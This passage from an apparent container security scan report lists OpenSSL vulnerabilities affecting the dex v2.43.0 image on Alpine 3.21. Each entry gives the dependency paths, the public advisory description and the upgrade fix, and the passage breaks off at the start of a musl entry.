- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: When using the low-level OCB API directly with AES-NI or<br>other hardware-accelerated code paths, inputs whose length is not a multiple<br>of 16 bytes can leave the final partial block unencrypted and unauthenticated.<br><br>Impact summary: The trailing 1-15 bytes of a message may be exposed in<br>cleartext on encryption and are not covered by the authentication tag,<br>allowing an attacker to read or tamper with those bytes without detection.<br><br>The low-level OCB encrypt and decrypt routines in the hardware-accelerated<br>stream path process full 16-byte blocks but do not advance the input/output<br>pointers. The subsequent tail-handling code then operates on the original<br>base pointers, effectively reprocessing the beginning of the buffer while<br>leaving the actual trailing bytes unprocessed. The authentication checksum<br>also excludes the true tail bytes.<br><br>However, typical OpenSSL consumers using EVP are not affected because the<br>higher-level EVP and provider OCB implementations split inputs so that full<br>blocks and trailing partial blocks are processed in separate calls, avoiding<br>the problematic code path. Additionally, TLS does not use OCB ciphersuites.<br>The vulnerability only affects applications that call the low-level<br>CRYPTO_ocb128_encrypt() or CRYPTO_ocb128_decrypt() functions directly with<br>non-block-aligned lengths in a single call on hardware-accelerated builds.<br>For these reasons the issue was assessed as Low severity.<br><br>The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected<br>by this issue, as OCB mode is not a FIPS-approved algorithm.<br><br>OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.<br><br>OpenSSL 1.0.2 is not affected by this issue.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/372fc5c77529695b05b4f5b5187691a57ef5dffc
- https://github.com/openssl/openssl/commit/4016975d4469cd6b94927c607f7c511385f928d8
- https://github.com/openssl/openssl/commit/52d23c86a54adab5ee9f80e48b242b52c4cc2347
- https://github.com/openssl/openssl/commit/a7589230356d908c0eca4b969ec4f62106f4f5ae
- https://github.com/openssl/openssl/commit/ed40856d7d4ba6cb42779b6770666a65f19cb977
- https://openssl-library.org/news/secadv/20260127.txt
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## CVE-2025-15468

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: If an application using the SSL_CIPHER_find() function in a QUIC protocol client or server receives an unknown cipher suite from the peer, a NULL dereference occurs.

Impact summary: A NULL pointer dereference leads to abnormal termination of the running process causing Denial of Service.

Some applications call SSL_CIPHER_find() from the client_hello_cb callback on the cipher ID received from the peer. If this is done with an SSL object implementing the QUIC protocol, NULL pointer dereference will happen if the examined cipher ID is unknown or unsupported.

As it is not very common to call this function in applications using the QUIC protocol and the worst outcome is Denial of Service, the issue was assessed as Low severity.

The vulnerable code was introduced in the 3.2 version with the addition of the QUIC protocol support.

The FIPS modules in 3.6, 3.5, 3.4 and 3.3 are not affected by this issue, as the QUIC implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4 and 3.3 are vulnerable to this issue.

OpenSSL 3.0, 1.1.1 and 1.0.2 are not affected by this issue.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/1f08e54bad32843044fe8a675948d65e3b4ece65
- https://github.com/openssl/openssl/commit/7c88376731c589ee5b36116c5a6e32d5ae5f7ae2
- https://github.com/openssl/openssl/commit/b2539639400288a4580fe2d76247541b976bade4
- https://github.com/openssl/openssl/commit/d75b309879631d45b972396ce4e5102559c64ac7
- https://openssl-library.org/news/secadv/20260127.txt

More about this vulnerability

## CVE-2025-69420

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: A type confusion vulnerability exists in the TimeStamp Response verification code where an ASN1_TYPE union member is accessed without first validating the type, causing an invalid or NULL pointer dereference when processing a malformed TimeStamp Response file.

Impact summary: An application calling TS_RESP_verify_response() with a malformed TimeStamp Response can be caused to dereference an invalid or NULL pointer when reading, resulting in a Denial of Service.

The functions ossl_ess_get_signing_cert() and ossl_ess_get_signing_cert_v2() access the signing cert attribute value without validating its type. When the type is not V_ASN1_SEQUENCE, this results in accessing invalid memory through the ASN1_TYPE union, causing a crash.

Exploiting this vulnerability requires an attacker to provide a malformed TimeStamp Response to an application that verifies timestamp responses. The TimeStamp protocol (RFC 3161) is not widely used and the impact of the exploit is just a Denial of Service. For these reasons the issue was assessed as Low severity.

The FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the TimeStamp Response implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.

OpenSSL 1.0.2 is not affected by this issue.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/27c7012c91cc986a598d7540f3079dfde2416eb9
- https://github.com/openssl/openssl/commit/4e254b48ad93cc092be3dd62d97015f33f73133a
- https://github.com/openssl/openssl/commit/564fd9c73787f25693bf9e75faf7bf6bb1305d4e
- https://github.com/openssl/openssl/commit/5eb0770ffcf11b785cf374ff3c19196245e54f1b
- https://github.com/openssl/openssl/commit/a99349ebfc519999edc50620abe24d599b9eb085
- https://openssl-library.org/news/secadv/20260127.txt
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## CVE-2025-66199

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: A TLS 1.3 connection using certificate compression can be forced to allocate a large buffer before decompression without checking against the configured certificate size limit.

Impact summary: An attacker can cause per-connection memory allocations of up to approximately 22 MiB and extra CPU work, potentially leading to service degradation or resource exhaustion (Denial of Service).

In affected configurations, the peer-supplied uncompressed certificate length from a CompressedCertificate message is used to grow a heap buffer prior to decompression. This length is not bounded by the max_cert_list setting, which otherwise constrains certificate message sizes. An attacker can exploit this to cause large per-connection allocations followed by handshake failure. No memory corruption or information disclosure occurs.

This issue only affects builds where TLS 1.3 certificate compression is compiled in (i.e., not OPENSSL_NO_COMP_ALG) and at least one compression algorithm (brotli, zlib, or zstd) is available, and where the compression extension is negotiated. Both clients receiving a server CompressedCertificate and servers in mutual TLS scenarios receiving a client CompressedCertificate are affected. Servers that do not request client certificates are not vulnerable to client-initiated attacks.

Users can mitigate this issue by setting SSL_OP_NO_RX_CERTIFICATE_COMPRESSION to disable receiving compressed certificates.

The FIPS modules in 3.6, 3.5, 3.4 and 3.3 are not affected by this issue, as the TLS implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4 and 3.3 are vulnerable to this issue.

OpenSSL 3.0, 1.1.1 and 1.0.2 are not affected by this issue.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/3ed1f75249932b155eef993a8e66a99cb98bfef4
- https://github.com/openssl/openssl/commit/6184a4fb08ee6d7bca570d931a4e8bef40b64451
- https://github.com/openssl/openssl/commit/895150b5e021d16b52fb32b97e1dd12f20448be5
- https://github.com/openssl/openssl/commit/966a2478046c311ed7dae50c457d0db4cafbf7e4
- https://openssl-library.org/news/secadv/20260127.txt

More about this vulnerability

## CVE-2025-15467

low severity
Exploit: Proof of Concept

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: Parsing CMS AuthEnvelopedData or EnvelopedData message with maliciously crafted AEAD parameters can trigger a stack buffer overflow.

Impact summary: A stack buffer overflow may lead to a crash, causing Denial of Service, or potentially remote code execution.

When parsing CMS (Auth)EnvelopedData structures that use AEAD ciphers such as AES-GCM, the IV (Initialization Vector) encoded in the ASN.1 parameters is copied into a fixed-size stack buffer without verifying that its length fits the destination. An attacker can supply a crafted CMS message with an oversized IV, causing a stack-based out-of-bounds write before any authentication or tag verification occurs.

Applications and services that parse untrusted CMS or PKCS#7 content using AEAD ciphers (e.g., S/MIME (Auth)EnvelopedData with AES-GCM) are vulnerable. Because the overflow occurs prior to authentication, no valid key material is required to trigger it. While exploitability to remote code execution depends on platform and toolchain mitigations, the stack-based write primitive represents a severe risk.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4, 3.3 and 3.0 are vulnerable to this issue.

OpenSSL 1.1.1 and 1.0.2 are not affected by this issue.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/2c8f0e5fa9b6ee5508a0349e4572ddb74db5a703
- https://github.com/openssl/openssl/commit/5f26d4202f5b89664c5c3f3c62086276026ba9a9
- https://github.com/openssl/openssl/commit/6ced0fe6b10faa560e410e3ee8d6c82f06c65ea3
- https://github.com/openssl/openssl/commit/ce39170276daec87f55c39dad1f629b56344429e
- https://github.com/openssl/openssl/commit/d0071a0799f20cc8101730145349ed4487c268dc
- https://openssl-library.org/news/secadv/20260127.txt
- http://www.openwall.com/lists/oss-security/2026/01/27/10
- http://www.openwall.com/lists/oss-security/2026/02/25/6
- https://github.com/guiimoraes/CVE-2025-15467
- https://cert-portal.siemens.com/productcert/html/ssa-434797.html

More about this vulnerability

## CVE-2026-22795

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: An invalid or NULL pointer dereference can happen in an application processing a malformed PKCS#12 file.

Impact summary: An application processing a malformed PKCS#12 file can be caused to dereference an invalid or NULL pointer on memory read, resulting in a Denial of Service.

A type confusion vulnerability exists in PKCS#12 parsing code where an ASN1_TYPE union member is accessed without first validating the type, causing an invalid pointer read.

The location is constrained to a 1-byte address space, meaning any attempted pointer manipulation can only target addresses between 0x00 and 0xFF. This range corresponds to the zero page, which is unmapped on most modern operating systems and will reliably result in a crash, leading only to a Denial of Service. Exploiting this issue also requires a user or application to process a maliciously crafted PKCS#12 file. It is uncommon to accept untrusted PKCS#12 files in applications as they are usually used to store private keys which are trusted by definition. For these reasons, the issue was assessed as Low severity.

The FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS12 implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.

OpenSSL 1.0.2 is not affected by this issue.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/2502e7b7d4c0cf4f972a881641fe09edc67aeec4
- https://github.com/openssl/openssl/commit/572844beca95068394c916626a6d3a490f831a49
- https://github.com/openssl/openssl/commit/7bbca05be55b129651d9df4bdb92becc45002c12
- https://github.com/openssl/openssl/commit/eeee3cbd4d682095ed431052f00403004596373e
- https://github.com/openssl/openssl/commit/ef2fb66ec571564d64d1c74a12e388a2a54d05d2
- https://openssl-library.org/news/secadv/20260127.txt
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## CVE-2026-22796

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: A type confusion vulnerability exists in the signature verification of signed PKCS#7 data where an ASN1_TYPE union member is accessed without first validating the type, causing an invalid or NULL pointer dereference when processing malformed PKCS#7 data.

Impact summary: An application performing signature verification of PKCS#7 data or calling directly the PKCS7_digest_from_attributes() function can be caused to dereference an invalid or NULL pointer when reading, resulting in a Denial of Service.

The function PKCS7_digest_from_attributes() accesses the message digest attribute value without validating its type. When the type is not V_ASN1_OCTET_STRING, this results in accessing invalid memory through the ASN1_TYPE union, causing a crash.

Exploiting this vulnerability requires an attacker to provide a malformed signed PKCS#7 to an application that verifies it. The impact of the exploit is just a Denial of Service, the PKCS7 API is legacy and applications should be using the CMS API instead. For these reasons the issue was assessed as Low severity.

The FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS#7 parsing implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/2502e7b7d4c0cf4f972a881641fe09edc67aeec4
- https://github.com/openssl/openssl/commit/572844beca95068394c916626a6d3a490f831a49
- https://github.com/openssl/openssl/commit/7bbca05be55b129651d9df4bdb92becc45002c12
- https://github.com/openssl/openssl/commit/eeee3cbd4d682095ed431052f00403004596373e
- https://github.com/openssl/openssl/commit/ef2fb66ec571564d64d1c74a12e388a2a54d05d2
- https://openssl-library.org/news/secadv/20260127.txt
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## CVE-2025-68160

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: Writing large, newline-free data into a BIO chain using the line-buffering filter where the next BIO performs short writes can trigger a heap-based out-of-bounds write.

Impact summary: This out-of-bounds write can cause memory corruption which typically results in a crash, leading to Denial of Service for an application.

The line-buffering BIO filter (BIO_f_linebuffer) is not used by default in TLS/SSL data paths. In OpenSSL command-line applications, it is typically only pushed onto stdout/stderr on VMS systems. Third-party applications that explicitly use this filter with a BIO chain that can short-write and that write large, newline-free data influenced by an attacker would be affected. However, the circumstances where this could happen are unlikely to be under attacker control, and BIO_f_linebuffer is unlikely to be handling non-curated data controlled by an attacker. For that reason the issue was assessed as Low severity.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the BIO implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/384011202af92605d926fafe4a0bcd6b65d162ad
- https://github.com/openssl/openssl/commit/475c466ef2fbd8fc1df6fae1c3eed9c813fc8ff6
- https://github.com/openssl/openssl/commit/4c96fbba618e1940f038012506ee9e21d32ee12c
- https://github.com/openssl/openssl/commit/6845c3b6460a98b1ec4e463baa2ea1a63a32d7c0
- https://github.com/openssl/openssl/commit/68a7cd2e2816c3a02f4d45a2ce43fc04fac97096
- https://openssl-library.org/news/secadv/20260127.txt
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## CVE-2026-31790

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: Applications using RSASVE key encapsulation to establish a secret encryption key can send contents of an uninitialized memory buffer to a malicious peer.

Impact summary: The uninitialized buffer might contain sensitive data from the previous execution of the application process which leads to sensitive data leakage to an attacker.

RSA_public_encrypt() returns the number of bytes written on success and -1 on error. The affected code tests only whether the return value is non-zero. As a result, if RSA encryption fails, encapsulation can still return success to the caller, set the output lengths, and leave the caller to use the contents of the ciphertext buffer as if a valid KEM ciphertext had been produced.

If applications use EVP_PKEY_encapsulate() with RSA/RSASVE on an attacker-supplied invalid RSA public key without first validating that key, then this may cause stale or uninitialized contents of the caller-provided ciphertext buffer to be disclosed to the attacker in place of the KEM ciphertext.

As a workaround calling EVP_PKEY_public_check() or EVP_PKEY_public_check_quick() before EVP_PKEY_encapsulate() will mitigate the issue.

The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.1 and 3.0 are affected by this issue.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.7-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/001e01db3e996e13ffc72386fe79d03a6683b5ac
- https://github.com/openssl/openssl/commit/abd8b2eec7e3f3fda60ecfb68498b246b52af482
- https://github.com/openssl/openssl/commit/b922e24e5b23ffb9cb9e14cadff23d91e9f7e406
- https://github.com/openssl/openssl/commit/d5f8e71cd0a54e961d0c3b174348f8308486f790
- https://github.com/openssl/openssl/commit/eed200f58cd8645ed77e46b7e9f764e284df379e
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html

More about this vulnerability

## Always-Incorrect Control Flow Implementation

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: musl/musl
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and musl/musl@1.2.5-r9

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › musl/musl-utils@1.2.5-r9 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › zlib/zlib@1.3.1-r2 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › musl/musl-utils@1.2.5-r9 › pax-utils/scanelf@1.3.8-r1 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › alpine-baselayout/alpine-baselayout@3.6.8-r1 › busybox/busybox-binsh@1.37.0-r12 › busybox/busybox@1.37.0-r12 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › musl/musl-utils@1.2.5-r9

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `musl` package and not the `musl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

